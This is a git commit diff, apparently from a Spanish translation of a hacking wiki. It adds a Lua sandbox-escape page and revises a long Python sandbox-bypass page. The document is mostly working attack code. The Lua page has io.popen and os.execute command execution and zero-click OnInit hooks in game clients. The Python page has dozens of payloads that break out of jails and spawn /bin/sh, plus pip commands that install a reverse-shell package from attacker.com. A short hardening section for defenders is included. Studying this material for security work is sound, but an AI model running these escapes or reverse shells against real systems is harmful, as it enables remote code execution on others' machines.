Translated ['src/generic-methodologies-and-resources/lua/bypass-lua-sand

This commit is contained in:
Translator 2025-09-03 10:47:55 +00:00
parent c5968870bd
commit 601da43291
3 changed files with 200 additions and 91 deletions

View File

@ -80,6 +80,8 @@
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -926,13 +928,4 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
- [Readme](reversing/cryptographic-algorithms/README.md)
- [Readme](reversing/reversing-tools/README.md)
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)

View File

@ -0,0 +1,115 @@
# Bypass Lua sandboxes (embedded VMs, game clients)
{{#include ../../../banners/hacktricks-training.md}}
Esta página recopila técnicas prácticas para enumerar y escapar de "sandboxes" de Lua embebidos en aplicaciones (notablemente game clients, plugins o in-app scripting engines). Muchos engines exponen un entorno Lua restringido, pero dejan globals potentes alcanzables que permiten ejecución arbitraria de comandos o incluso corrupción nativa de memoria cuando los bytecode loaders están expuestos.
Ideas clave:
- Trata la VM como un entorno desconocido: enumera _G y descubre qué primitivas peligrosas están accesibles.
- Cuando stdout/print está bloqueado, abusa de cualquier canal de UI/IPC dentro de la VM como un sumidero de salida para observar resultados.
- Si io/os está expuesto, a menudo tienes ejecución directa de comandos (io.popen, os.execute).
- Si load/loadstring/loadfile están expuestos, ejecutar bytecode de Lua creado puede subvertir la seguridad de memoria en algunas versiones (≤5.1 los verificadores son evadibles; 5.2 eliminó el verificador), habilitando explotación avanzada.
## Enumerar el entorno sandboxed
- Vuelca el entorno global para inventariar tablas/funciones alcanzables:
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
out("=== DUMPING _G ===")
for k, v in pairs(_G) do
out(tostring(k) .. " = " .. tostring(v))
end
end
```
- Si no hay print() disponible, reutiliza canales in-VM. Ejemplo de una VM de script de housing de un MMO donde la salida del chat solo funciona después de una llamada de sonido; lo siguiente construye una función de salida fiable:
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
-- Some engines require enabling an audio channel before speaking
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
return function(msg)
H.Say(label or 1, msg)
end
end
function OnMenu(menuNum)
if menuNum ~= 3 then return end
local out = ButlerOut(1)
dump_globals(out)
end
```
Generaliza este patrón para tu target: cualquier textbox, toast, logger o UI callback que acepte strings puede actuar como stdout para reconnaissance.
## Ejecución directa de comandos si io/os está expuesto
Si el sandbox todavía expone las bibliotecas estándar io or os, probablemente tengas ejecución de comandos inmediata:
```lua
-- Windows example
io.popen("calc.exe")
-- Cross-platform variants depending on exposure
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
Notas:
- La ejecución ocurre dentro del proceso del cliente; muchas capas anti-cheat/antidebug que bloquean external debuggers no impedirán la creación de procesos in-VM.
- Revisa también: package.loadlib (carga arbitraria de DLL/.so), require con módulos nativos, LuaJIT's ffi (si está presente), y la debug library (puede elevar privilegios dentro de la VM).
## Zero-click triggers via auto-run callbacks
Si la aplicación host envía scripts a los clientes y la VM expone auto-run hooks (p. ej., OnInit/OnLoad/OnEnter), coloca tu payload allí para drive-by compromise tan pronto como se cargue el script:
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
Cualquier callback equivalente (OnLoad, OnEnter, etc.) generaliza esta técnica cuando los scripts se transmiten y se ejecutan automáticamente en el cliente.
## Dangerous primitives to hunt during recon
Durante la enumeración de _G, busca específicamente:
- io, os: io.popen, os.execute, file I/O, env access.
- load, loadstring, loadfile, dofile: ejecutar código fuente o bytecode; admite cargar bytecode no confiable.
- package, package.loadlib, require: carga dinámica de librerías y la interfaz del módulo.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
- Solo LuaJIT: ffi.cdef, ffi.load para llamar a código nativo directamente.
Minimal usage examples (if reachable):
```lua
-- Execute source/bytecode
local f = load("return 1+1")
print(f()) -- 2
-- loadstring is alias of load for strings in 5.1
local bc = string.dump(function() return 0x1337 end)
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
print(g())
-- Load native library symbol (if allowed)
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
```
## Escalada opcional: abuso de los cargadores de bytecode de Lua
Cuando load/loadstring/loadfile son alcanzables pero io/os están restringidos, la ejecución de bytecode de Lua creado puede conducir a divulgación de memoria y primitivas de corrupción. Datos clave:
- Lua ≤ 5.1 incluía un bytecode verifier que tiene bypasses conocidos.
- Lua 5.2 eliminó el verifier por completo (postura oficial: las aplicaciones deberían simplemente rechazar los precompiled chunks), ampliando la superficie de ataque si la carga de bytecode no está prohibida.
- Workflows típicos: leak pointers vía in-VM output, craft bytecode para crear type confusions (p. ej., alrededor de FORLOOP u otros opcodes), y luego pivotar a arbitrary read/write o native code execution.
This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games.
## Notas de detección y hardening (para defensores)
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Client side: run Lua con un _ENV mínimo, forbid bytecode loading, reintroduce un strict bytecode verifier o signature checks, y bloquear la creación de procesos desde el proceso cliente.
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate con UI/chat/script events.
## References
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,12 @@
{{#include ../../../banners/hacktricks-training.md}}
Estos son algunos trucos para bypass las protecciones de sandbox de python y ejecutar comandos arbitrarios.
Estos son algunos trucos para evadir las protecciones de sandboxes de python y ejecutar comandos arbitrarios.
## Bibliotecas de ejecución de comandos
Lo primero que debes saber es si puedes ejecutar código directamente con alguna librería ya importada, o si podrías importar cualquiera de estas librerías:
## Command Execution Libraries
Lo primero que debes saber es si puedes ejecutar código directamente con alguna librería ya importada, o si puedes importar cualquiera de estas librerías:
```python
os.system("ls")
os.popen("ls").read()
@ -39,21 +40,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro del python sandbox y para **escribir algo de código** que podrías **ejecutar** para **bypass** el sandbox.
Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro del sandbox de python y para **escribir algún código** que podrías **ejecutar** para **bypass** el sandbox.
> [!CAUTION] > La función **Python2 input()** permite ejecutar código python antes de que el programa falle.
Python intenta **cargar librerías desde el directorio actual primero** (el siguiente comando imprimirá desde dónde python está cargando los módulos): `python3 -c 'import sys; print(sys.path)'`
Python intenta **cargar librerías desde el directorio actual primero** (el siguiente comando imprimirá desde dónde está cargando módulos python): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Bypass pickle sandbox with the default installed python packages
## Bypass pickle sandbox con los paquetes python instalados por defecto
### Paquetes por defecto
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\
For example, the following pickle, when loaded, is going to import the pip library to use it:
Puedes encontrar una **lista de paquetes preinstalados** aquí: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Ten en cuenta que desde un pickle puedes hacer que el entorno python **importe librerías arbitrarias** instaladas en el sistema.\
Por ejemplo, el siguiente pickle, cuando se cargue, va a importar la librería pip para usarla:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,9 +67,9 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Para más información sobre cómo funciona pickle, consulta esto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
Para más información sobre cómo funciona pickle consulta esto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Paquete pip
### Pip package
Truco compartido por **@isHaacK**
@ -77,21 +78,21 @@ Si tienes acceso a `pip` o `pip.main()` puedes instalar un paquete arbitrario y
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Puedes descargar el paquete para crear la reverse shell aquí. Ten en cuenta que antes de usarlo debes **descomprimirlo, modificar el `setup.py`, y poner tu IP para la reverse shell**:
Puedes descargar el package para crear el reverse shell aquí. Por favor, ten en cuenta que antes de usarlo debes **descomprimirlo, cambiar el `setup.py`, y poner tu IP para el reverse shell**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> Este paquete se llama `Reverse`. Sin embargo, fue especialmente creado de modo que cuando salgas de la reverse shell el resto de la instalación falle, por lo que **no dejarás ningún paquete python adicional instalado en el servidor** cuando te vayas.
> Este paquete se llama `Reverse`. Sin embargo, fue especialmente creado de modo que cuando salgas del reverse shell el resto de la instalación fallará, por lo que **no dejarás ningún python package adicional instalado en el servidor** cuando te vayas.
## Eval-ing python code
> [!WARNING]
> Ten en cuenta que exec permite cadenas multilínea y ";", pero eval no (revisa walrus operator)
> Ten en cuenta que exec permite multiline strings y ";", pero eval no (revisa walrus operator)
Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypass** la restricción:
Si ciertos caracteres están prohibidos puedes usar la representación **hex/octal/B64** para **bypass** la restricción:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -126,9 +127,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
Vea también un escape real de un evaluador sandboxed en generadores de PDF:
También ver un escape real de un sandboxed evaluator en generadores de PDF:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa de rl_safe_eval para alcanzar function.__globals__ y os.system desde atributos evaluados (por ejemplo, color de fuente) y devuelve un valor válido para mantener estable el renderizado.
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa de rl_safe_eval para acceder a function.__globals__ y os.system desde atributos evaluados (por ejemplo, color de fuente) y devuelve un valor válido para mantener el renderizado estable.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -143,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Bypassing protections through encodings (UTF-7)
## Evasión de protecciones mediante codificaciones (UTF-7)
En [**esta writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se usa para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
En [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se usa para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -156,13 +157,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
También es posible sortearlo usando otras codificaciones, p. ej. `raw_unicode_escape` y `unicode_escape`.
También es posible bypassearlo usando otras codificaciones, p. ej. `raw_unicode_escape` y `unicode_escape`.
## Ejecución de Python sin llamadas
Si estás dentro de un python jail que **no te permite realizar llamadas**, todavía hay algunas maneras de **ejecutar funciones arbitrarias, código** y **comandos**.
Si estás dentro de una python jail que **no te permite hacer llamadas**, todavía hay algunas formas de **ejecutar funciones arbitrarias, código** y **comandos**.
### RCE con [decorators](https://docs.python.org/3/glossary.html#term-decorator)
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -184,13 +185,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE creando objetos y sobrecarga
### RCE creating objects and overloading
Si puedes **declarar una clase** y **crear un objeto** de esa clase, podrías **escribir/sobrescribir diferentes métodos** que pueden ser **activados** **sin** **necesidad de llamarlos directamente**.
Si puedes **declare a class** y **create an object** de esa class, podrías **write/overwrite different methods** que pueden ser **triggered** **without** **needing to call them directly**.
#### RCE con clases personalizadas
#### RCE with custom classes
Puedes modificar algunos **métodos de clase** (_sobrescribiendo métodos de clase existentes o creando una nueva clase_) para que **ejecuten código arbitrario** cuando se **activen** sin llamarlos directamente.
Puedes modificar algunos **class methods** (_by overwriting existing class methods or creating a new class_) para hacer que **execute arbitrary code** cuando sean **triggered** sin llamarlos directamente.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -242,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### Creando objetos con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Lo principal que nos permiten hacer las metaclases es **crear una instancia de una clase, sin llamar directamente al constructor**, al crear una nueva clase con la clase objetivo como metaclase.
Lo importante es que las metaclasses nos permiten **crear una instancia de una clase sin llamar directamente al constructor**, creando una nueva clase con la clase objetivo como metaclase.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -257,9 +258,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### Creación de objetos con exceptions
#### Creación de objetos con excepciones
Cuando se **dispara una exception**, se **crea** un objeto de la **Exception** sin que necesites llamar al constructor directamente (un truco de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Cuando se **dispara una exception**, se **crea** un objeto de la **Exception** sin que tengas que llamar al constructor directamente (un truco de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -301,7 +302,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Leer archivo con builtins help & license
### Leer archivo con la ayuda y la licencia de builtins
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -315,7 +316,7 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Si puedes acceder al objeto **`__builtins__`** puedes importar librerías (nota que también podrías usar aquí otras representaciones en string mostradas en la última sección):
Si puedes acceder al objeto **`__builtins__`** puedes importar librerías (observa que también podrías usar aquí otra representación de string mostrada en la última sección):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
@ -323,7 +324,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
### Sin Builtins
Cuando no tienes `__builtins__` no vas a poder importar nada ni siquiera leer o escribir archivos, ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
Sin embargo, **por defecto python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos están **también importando funcionalidades peligrosas** en su interior que pueden ser accedidas para obtener incluso **ejecución arbitraria de código**.
Sin embargo, **por defecto python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** en su interior a las que se puede acceder para lograr incluso **ejecución arbitraria de código**.
En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de ellos.
@ -367,9 +368,9 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar los **builtins**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar las **builtins**.
#### Python2 and Python3
#### Python2 y Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
@ -383,9 +384,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals and locals
## Globals y locals
Comprobar las **`globals`** y **`locals`** es una buena manera de saber a qué puedes acceder.
Comprobar los **`globals`** y **`locals`** es una buena forma de saber a qué puedes acceder.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -409,15 +410,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar las **globals**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
## Descubrir ejecución arbitraria
Aquí quiero explicar cómo descubrir fácilmente **funcionalidades más peligrosas cargadas** y proponer exploits más fiables.
#### Accediendo a subclasses con bypasses
#### Accediendo a subclases con bypasses
Una de las partes más sensibles de esta técnica es poder **access the base subclasses**. En los ejemplos previos esto se hizo usando `''.__class__.__base__.__subclasses__()` pero existen **otras posibles formas**:
Una de las partes más sensibles de esta técnica es poder **acceder a las subclases base**. En los ejemplos anteriores esto se hizo usando `''.__class__.__base__.__subclasses__()` pero hay **otras formas posibles**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -445,9 +446,9 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Encontrar bibliotecas peligrosas cargadas
### Encontrar librerías peligrosas cargadas
Por ejemplo, sabiendo que con la biblioteca **`sys`** es posible **import arbitrary libraries**, puedes buscar todos los **modules loaded that have imported sys inside of them**:
Por ejemplo, sabiendo que con la biblioteca **`sys`** es posible **import arbitrary libraries**, puedes buscar todos los **módulos cargados que hayan importado `sys` dentro de ellos**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -456,7 +457,7 @@ Hay muchos, y **solo necesitamos uno** para ejecutar comandos:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Podemos hacer lo mismo con **otras librerías** que sabemos que se pueden usar para **ejecutar comandos**:
Podemos hacer lo mismo con **otras librerías** que sabemos que pueden usarse para **ejecutar comandos**:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -491,7 +492,7 @@ Podemos hacer lo mismo con **otras librerías** que sabemos que se pueden usar p
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Además, incluso podríamos buscar qué módulos están cargando bibliotecas maliciosas:
Además, podríamos incluso buscar qué módulos están cargando bibliotecas maliciosas:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -510,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Además, si crees que **otras bibliotecas** pueden ser capaces de **invocar funciones para ejecutar comandos**, también podemos **filtrar por nombres de funciones** dentro de las bibliotecas posibles:
Además, si crees que **otras bibliotecas** pueden ser capaces de **invocar funciones para ejecutar comandos**, también podemos **filtrar por nombres de funciones** dentro de las posibles bibliotecas:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -543,10 +544,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, 